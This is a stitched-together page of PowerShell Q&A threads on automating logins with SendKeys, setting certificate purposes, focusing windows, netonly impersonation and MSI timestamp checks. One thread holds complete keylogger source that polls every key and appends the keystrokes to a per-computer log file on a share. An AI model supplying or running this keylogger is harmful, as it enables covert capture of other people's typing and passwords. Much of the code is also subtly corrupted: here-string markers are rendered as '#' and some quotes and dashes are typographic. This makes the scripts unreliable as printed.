Start a Windows application and feed in username and password automatically - powershell

I have a set of apps that I would like to open on startup. They require a username and a password in order to login. Once you feed those in and press LogIn, a confirmation message asks to confirm whether you want to login or not.
Can this be done using CMD or PowerShell ?
eg:
> Start <path>/App1 | Username ; Password | Press OK
> Start <path>/App2 | Username ; Password | Press OK

Maybe this is helpful for you:
Add-Type -AssemblyName System.Windows.Forms
#----------------------------------------------------------------------
function win32UserDLL {
<#
// set focus to window
#>
#----------------------------------------------------------------------
param(
[Parameter()]
$mainWindowHandle = (Get-Process -Id $pid).MainWindowHandle,
[Parameter()]
[ValidateSet('SetFocus', 'BringWindowToTop')]
[String]$action = 'SetFocus'
)
$win32UserDLL = Add-Type –memberDefinition #”
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr SetFocus(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern bool BringWindowToTop(IntPtr hWnd);
“# -name “Win32SetFocus” -namespace Win32Functions –passThru
switch( $action ) {
'SetFocus' {
[void]$win32UserDLL::SetFocus($mainWindowHandle)
}
'BringWindowToTop' {
[void]$win32UserDLL::BringWindowToTop($mainWindowHandle)
}
}
}
$appName = "myApp"
$handle = (Get-Process | where { $_.ProcessName -like $appName }).MainWindowHandle | where { $_ -ne 0 }
$handle
win32UserDLL -mainWindowHandle $handle -action SetFocus
[System.Windows.Forms.SendKeys]::SendWait("Username")
[System.Windows.Forms.SendKeys]::SendWait("{TAB}")
[System.Windows.Forms.SendKeys]::SendWait("Password")
[System.Windows.Forms.SendKeys]::SendWait("{ENTER}")

Related

Setting a CA Certificate, with specific Enabled Purposes, using PowerShell

How do I programmatically change the Enabled Purposes of a Certificate Authority, in the relevant Windows Certificate Store, using PowerShell?
This is possible to do in the Certificates MMC snap-in
Is this only possible using P/Invoke with CertSetCertificateContextProperty as per StackOverflow: How to set certificate purposes? {C#}
Ideally, I want to import a custom Trusted Root Certificate Authority and only enable it for the purpose of Client Authentication.
A PowerShell Cmdlet that uses CertSetCertificateContextProperty at it's core. Thank you to Crypt32 and their answer on another post for guidance.
Example Usage:
Set-CertificateEku -StoreLocation 'CurrentUser' -StoreName 'Root' -CertificateThumbprint 'ffffffffffffffffffffffffffffffffffffffff' -Oids #("1.3.6.1.5.5.7.3.2") # Client Authentication
Function Set-CertificateEku {
[CmdletBinding()]
Param(
[Parameter(Mandatory)]
[ValidateSet('CurrentUser', 'LocalMachine')]
$StoreLocation,
[Parameter(Mandatory)]
$StoreName,
[Parameter(Mandatory)]
$CertificateThumbprint,
[Parameter(Mandatory)]
$Oids
)
$StoreLocation = switch($StoreLocation) {
'CurrentUser' {
[System.Security.Cryptography.X509Certificates.StoreLocation]::CurrentUser
}
'LocalMachine' {
[System.Security.Cryptography.X509Certificates.StoreLocation]::LocalMachine
}
}
try {
$CertificateStore = [System.Security.Cryptography.X509Certificates.X509Store]::new($StoreName, $StoreLocation)
$CertificateStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite -bor [System.Security.Cryptography.X509Certificates.OpenFlags]::OpenExistingOnly)
} catch {
Write-Error "Could not Open Certificate Store $StoreName in $StoreLocation"
return $false
}
$Certificates = $CertificateStore.Certificates.Find(
[System.Security.Cryptography.X509Certificates.X509FindType]::FindByThumbprint,
$CertificateThumbprint,
$false
)
if($Certificates.Count -eq 0) {
Write-Error "Could not find Certificate $CertificateThumbprint in $StoreName in $StoreLocation"
return $false
}
$Certificate = $Certificates[0]
$PKICrypt32 = #"
[DllImport("Crypt32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern bool CertSetCertificateContextProperty(
IntPtr pCertContext,
uint dwPropId,
uint dwFlags,
IntPtr pvData
);
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct CRYPTOAPI_BLOB {
public uint cbData;
public IntPtr pbData;
}
"#
Add-Type -MemberDefinition $PKICrypt32 -Namespace 'PKI' -Name 'Crypt32'
$OIDs = [Security.Cryptography.OidCollection]::new()
foreach($Oid in $Oids) {
[void]$OIDs.Add([Security.Cryptography.Oid]::new($Oid))
}
$EKU = [Security.Cryptography.X509Certificates.X509EnhancedKeyUsageExtension]::new($OIDs, $false)
$pbData = [Runtime.InteropServices.Marshal]::AllocHGlobal($EKU.RawData.Length)
[Runtime.InteropServices.Marshal]::Copy($EKU.RawData, 0, $pbData, $EKU.RawData.Length)
$Blob = New-Object PKI.Crypt32+CRYPTOAPI_BLOB -Property #{
cbData = $EKU.RawData.Length;
pbData = $pbData;
}
$pvData = [Runtime.InteropServices.Marshal]::AllocHGlobal([Runtime.InteropServices.Marshal]::SizeOf([type][PKI.Crypt32+CRYPTOAPI_BLOB]))
[Runtime.InteropServices.Marshal]::StructureToPtr($Blob, $pvData, $false)
$Result = [PKI.Crypt32]::CertSetCertificateContextProperty($Certificate.Handle, 9, 0, $pvData)
[Runtime.InteropServices.Marshal]::FreeHGlobal($pvData)
[Runtime.InteropServices.Marshal]::FreeHGlobal($pbData)
$CertificateStore.Close()
return $Result
}

PowerShell: AppActivate with PID not working

Under Windows 10, I would like to send a keypress to an existing and running windows application. The sending of the keypress works fine but the AppActivate via the PID of the windows application does not work. Here my code:
Function SendCommandToExistingProcess([int] $processId, [string] $processName, [string] $command)
{
$functName = 'SendCommandToExistingProcess()' # function name for log
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName System.Windows.Forms
[Microsoft.VisualBasic.Interaction]::AppActivate($processId)
[System.Windows.Forms.SendKeys]::SendWait($command)
WriteLogEntry -severity $sevInfo -functName $functName `
-entryText ("Command '" + $command + "' sent to process '" + `
$processName + "' with id '" + $processId)
}
$processId contains the PID of the windows application to set focus to
$command contains the keypress to send ('p')
For AppActivate I use the PID instead of the application windows title because the application title contains two special characters (similar to the copyright sign). It seems that AppActivate only works with the title (tested this successfully) but not with the PID though the AppActivate documentation shows an AppActivate overlay that acceptes a PID. I tried to set focus to the windows calculator by typing its PID as a number directly in AppActivate; did not work.
*** Update ***
The PID is obtained the following way:
Function SendCommandToProcess([string] $processName, [string] $command)
{
$result = $false # initialise to process does not exist
$functName = 'SendCommandToProcess()' # function name for log
$processId = (Get-Process -Name $processName -erroraction 'silentlycontinue').Id
if ($processId.Count -gt 0) # procss(es) exist(s)
{ # normally just one process but could be serveral
Foreach ($id IN $processId)
{ SendCommandToExistingProcess -processId $id -processName $processName -command $command }
# send command to each of them
$result = $true # command sent to specified process
}
else
{
WriteLogEntry -severity $sevWarning -functName $functName `
-entryText ("Process '" + $processName + "' not found (not running)")
}
return $result
}
$processName contains the string 'Prepar3D'
When I run the above code in PowerShell with admin rights I get the following error message:
Ausnahme beim Aufrufen von "AppActivate" mit 1 Argument(en): "Der Prozess {0} wurde nicht gefunden."
English: Exception when calling "AppActivate' with 1 argument(s): "The process {0} could not be found"
What is fooling me? Thanks for your help
Hannes
I have the same problem as I want to focus on an application called aces.exe. The solution that worked for me was following this guide:
https://powershell.one/powershell-internals/extending-powershell/vbscript-and-csharp#c-to-the-rescue
In this, Dr. Tobias Weltner, talks about 3 ways to focus on application windows. The one that will work for you is the Chapter: C# to the Rescue.
I used the admin ISE-PowerShell and copied the code from the link above. (Chapter: C# to the Rescue)
DO NOT COPY THIS CODE BUT FOLLOW THE INSTRUCTION AT THE LINKED PAGE.
This is what code I copied and used:
PS C:\Windows\system32> $code = #'
using System;
using System.Runtime.InteropServices;
namespace API
{
public class FocusWindow
{
[DllImport("User32.dll")]
private static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool AttachThreadInput(IntPtr idAttach, IntPtr idAttachTo, bool fAttach);
[DllImport("User32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("User32.dll")]
private static extern IntPtr GetWindowThreadProcessId(IntPtr hwnd, IntPtr lpdwProcessId);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32")]
private static extern int BringWindowToTop(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SystemParametersInfo(uint uiAction, uint uiParam, IntPtr pvParam, uint fWinIni);
private const uint SPI_GETFOREGROUNDLOCKTIMEOUT = 0x2000;
private const uint SPI_SETFOREGROUNDLOCKTIMEOUT = 0x2001;
private const int SPIF_SENDCHANGE = 0x2;
private const int SW_HIDE = 0;
private const int SW_SHOWNORMAL = 1;
private const int SW_NORMAL = 1;
private const int SW_SHOWMINIMIZED = 2;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_MAXIMIZE = 3;
private const int SW_SHOWNOACTIVATE = 4;
private const int SW_SHOW = 5;
private const int SW_MINIMIZE = 6;
private const int SW_SHOWMINNOACTIVE = 7;
private const int SW_SHOWNA = 8;
private const int SW_RESTORE = 9;
private const int SW_SHOWDEFAULT = 10;
private const int SW_MAX = 10;
public static void Focus(IntPtr windowHandle)
{
IntPtr blockingThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero);
IntPtr ownThread = GetWindowThreadProcessId(windowHandle, IntPtr.Zero);
if (blockingThread == ownThread || blockingThread == IntPtr.Zero)
{
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, 3);
}
else
{
if (AttachThreadInput(ownThread, blockingThread, true))
{
BringWindowToTop(windowHandle);
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, SW_MAXIMIZE);
AttachThreadInput(ownThread, blockingThread, false);
}
}
if (GetForegroundWindow() != windowHandle)
{
IntPtr Timeout = IntPtr.Zero;
SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, Timeout, 0);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, IntPtr.Zero, SPIF_SENDCHANGE);
BringWindowToTop(windowHandle);
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, SW_MAXIMIZE);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, Timeout, SPIF_SENDCHANGE);
}
}
}
}
'#
# remove -PassThru in production. It is used only to
# expose the added types:
Add-Type -PassThru -TypeDefinition $code
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False FocusWindow System.Object
PS C:\Windows\system32> Add-Type -PassThru -TypeDefinition $code |
Where-Object IsPublic |
Select-Object -Property FullName
FullName
--------
API.FocusWindow
PS C:\Windows\system32> # get the main window handle for the process
# you want to switch to the foreground:
# in this example, the first instance of notepad is used
# (make sure notepad runs)
$process = Get-Process -Name aces -ErrorAction SilentlyContinue |
Select-Object -First 1
$mainWindowHandle = $process.MainWindowHandle
if (!$mainWindowHandle)
{
Write-Host "Window may be minimized, or process may not be running" -Foreground Red
}
# focus application window (and maximize it)
[API.FocusWindow]::Focus($mainWindowHandle)
PS C:\Windows\system32>
I also tried to use the nuget pack "PSOneApplicationWindow" that is in the first chapter in the link provided and that did not work to get focus on the aces.exe.
I use the Main Window Handle to solve this:
Note I have a com object built named $ie
$app = Get-Process | ?{$_.MainWindowHandle -eq $ie.hwnd}
[Microsoft.VisualBasic.Interaction]::AppActivate($app.Id)
sleep -Milliseconds 50
So build the object, search the process by the hwnd property, pass that as the object and make that the active app. Don't forget to add the sleep to give the app a moment to pop up before moving on to the next command. It makes the call much more stable.

Run start-process with switch /netonly(Type-9 logon)

Can i start-process with using switch /netonly (Type 9 logon), like can i use /netonly in below command.
"Start-Process powershell -Credential mydomain\mydomainAdmin -ArgumentList '-noprofile -command &{Start-Process notepad -verb runas}'"
Basically I logged in using admin account, i want to copy from some share where myaccount have the access. I want to use Type-9 logon(/netonly switch) with passing credential.
Using below command i am able to do it, but i have to input the password.
" runas /netonly /user:myadmin\myaccount "robocopy source destination" "
Please help to point right direction
Using impersonation, you can do a netonly type logon using credentials which are defined in your script or somewhere else without the need of typing them every time.
(Please note than in this example, the Write-host when impersonated will not write a different username. This is specifically because of the New credentials logon type (INT 9) which impersonate the desired user when accessing remote resources only.)
$ImpersonationLib = Add-Type -Namespace 'Lib.Impersonation' -Name ImpersonationLib -MemberDefinition #"
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LogonUser(string lpszUsername, string lpszDomain, string lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateToken(IntPtr token, int impersonationLevel, ref IntPtr duplication);
[DllImport("kernel32.dll")]
public static extern Boolean CloseHandle(IntPtr hObject);
"# -PassThru
[System.IntPtr]$userToken = [System.IntPtr]::Zero
$success = $ImpersonationLib::LogonUser('YourUserName', # UserName
'DomainOrWorkstationNameIfLocal',
# Domain
'Password', #Password
9, # New credentials-based logo
0, # LOGON32_PROVIDER_DEFAULT
[ref]$userToken)
if ($success -eq $false)
{
Write-Host 'Failure to execute logon user.'
Exit
}
$Identity = New-Object Security.Principal.WindowsIdentity $userToken
# Close open handles.
if ($userToken -ne [System.IntPtr]::Zero)
{
$null = $ImpersonationLib::CloseHandle($userToken)
$userToken = [System.IntPtr]::Zero
}
# Current user.
Write-Host "Before impersonation: UserName:
$([Security.Principal.WindowsIdentity]::GetCurrent().Name)" -ForegroundColor Cyan
# Do the impersonation.
$context = $Identity.Impersonate()
# New user.
Write-Host "After impersonation: UserName: $([Security.Principal.WindowsIdentity]::GetCurrent().Name)" -ForegroundColor Cyan
# Return to original user.
$context.Undo()
$context.Dispose()
# Old user.
Write-Host "After undoing impersonation: UserName:
$([Security.Principal.WindowsIdentity]::GetCurrent().Name)"
Reference for logon types : MSDN -Logon user function

Adding [ENTER] key into power shell key logger

Can any one help me make this key logger recognize someone pressing the (ENTER) key?
Her is the code
function KeyLog {
$virtualkc_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'#
$kbstate_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'#
$mapchar_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'#
$tounicode_sig = #'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[]lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'#
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
while ($true) {
Start-Sleep -Milliseconds 40
$gotit = ""
for ($char = 1; $char -le 254; $char++) {
$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit -eq -32767) {
$l_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res -gt 0) {
$logfile = "W:\1B_Classwork\Logs\$env:computername.log"
Out-File -FilePath $logfile -Encoding Unicode -Append -NoNewline -InputObject $mychar.ToString()
}
}
}
}
}
KeyLog

How to find whether the msi is timestamped or not?

I am using signtool to sign my msi and setup.exe files.
Timestamping failed for most of the msi, Now i would like to timestamp them separately.
How to find whether timestamp is missing or not?
Following cmdlet helps me to find whether it is signed or not
$AuthStatus= (Get-AuthenticodeSignature $FILENAME)
If ($AuthStatus.status -ne "Valid") {
$SIGNTOOL sign /v /f $CERPFX /t $TimestampSRVR /p $PWD $FILENAME
}
Now i need to check whether the msi timestamp is missing or not, How to do it?
Finally i found answer by myself. There is a property named "TimeStamperCertificate " is there it seems. Following is the code snippet.
If the msi is not signed or timestamped , It will sign and timestamp again.
$MsiAuthInfo= (Get-AuthenticodeSignature $FILENAME)
If ($MsiAuthInfo.status -ne "Valid" -or $MsiAuthInfo.TimeStamperCertificate -eq $Null) {
$SIGNTOOL sign /v /f $CERPFX /t $TimestampSRVR /p $PWD $FILENAME
}
Here's a PowerShell solution courtesy of PowerShell MVP Vadims Podans. Get-AuthenticodeSignatureEx adds a SigningTime property to the result, the value is a datetime as generalized time (not local time), you can always call the ToLocalTime() on the datetime object to get the result in your time zone. You can use the following command to quickly test it:
dir $pshome\*.ps1xml | Get-AuthenticodeSignatureEx | ft SignerCertificate,Status,SigningTime,Path
function Get-AuthenticodeSignatureEx
{
[CmdletBinding()]
param(
[Parameter(Mandatory=$true,ValueFromPipeline=$true,ValueFromPipelineByPropertyName=$true)]
[String[]]$FilePath
)
begin
{
$signature = #"
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptQueryObject(
int dwObjectType,
[MarshalAs(UnmanagedType.LPWStr)]string pvObject,
int dwExpectedContentTypeFlags,
int dwExpectedFormatTypeFlags,
int dwFlags,
ref int pdwMsgAndCertEncodingType,
ref int pdwContentType,
ref int pdwFormatType,
ref IntPtr phCertStore,
ref IntPtr phMsg,
ref IntPtr ppvContext
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptMsgGetParam(
IntPtr hCryptMsg,
int dwParamType,
int dwIndex,
byte[] pvData,
ref int pcbData
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CryptMsgClose(
IntPtr hCryptMsg
);
[DllImport("crypt32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool CertCloseStore(
IntPtr hCertStore,
int dwFlags
);
"#
Add-Type -AssemblyName System.Security
Add-Type -MemberDefinition $signature -Namespace PKI -Name Crypt32
}
process
{
Get-AuthenticodeSignature #PSBoundParameters | ForEach-Object {
$Output = $_
if ($Output.SignerCertificate -ne $null) {
$pdwMsgAndCertEncodingType = 0
$pdwContentType = 0
$pdwFormatType = 0
[IntPtr]$phCertStore = [IntPtr]::Zero
[IntPtr]$phMsg = [IntPtr]::Zero
[IntPtr]$ppvContext = [IntPtr]::Zero
$return = [PKI.Crypt32]::CryptQueryObject(
1,
$_.Path,
16382,
14,
$null,
[ref]$pdwMsgAndCertEncodingType,
[ref]$pdwContentType,
[ref]$pdwFormatType,
[ref]$phCertStore,
[ref]$phMsg,
[ref]$ppvContext
)
$pcbData = 0
$return = [PKI.Crypt32]::CryptMsgGetParam($phMsg,29,0,$null,[ref]$pcbData)
$pvData = New-Object byte[] -ArgumentList $pcbData
$return = [PKI.Crypt32]::CryptMsgGetParam($phMsg,29,0,$pvData,[ref]$pcbData)
$SignedCms = New-Object Security.Cryptography.Pkcs.SignedCms
$SignedCms.Decode($pvData)
foreach ($Infos in $SignedCms.SignerInfos) {
foreach ($CounterSignerInfos in $Infos.CounterSignerInfos) {
$sTime = ($CounterSignerInfos.SignedAttributes | Where-Object {$_.Oid.Value -eq "1.2.840.113549.1.9.5"}).Values | Where-Object {$_.SigningTime -ne $null}
}
}
$Output | Add-Member -MemberType NoteProperty -Name SigningTime -Value $sTime.SigningTime -PassThru -Force
[void][PKI.Crypt32]::CryptMsgClose($phMsg)
[void][PKI.Crypt32]::CertCloseStore($phCertStore,0)
} else {
$Output
}
}
}
}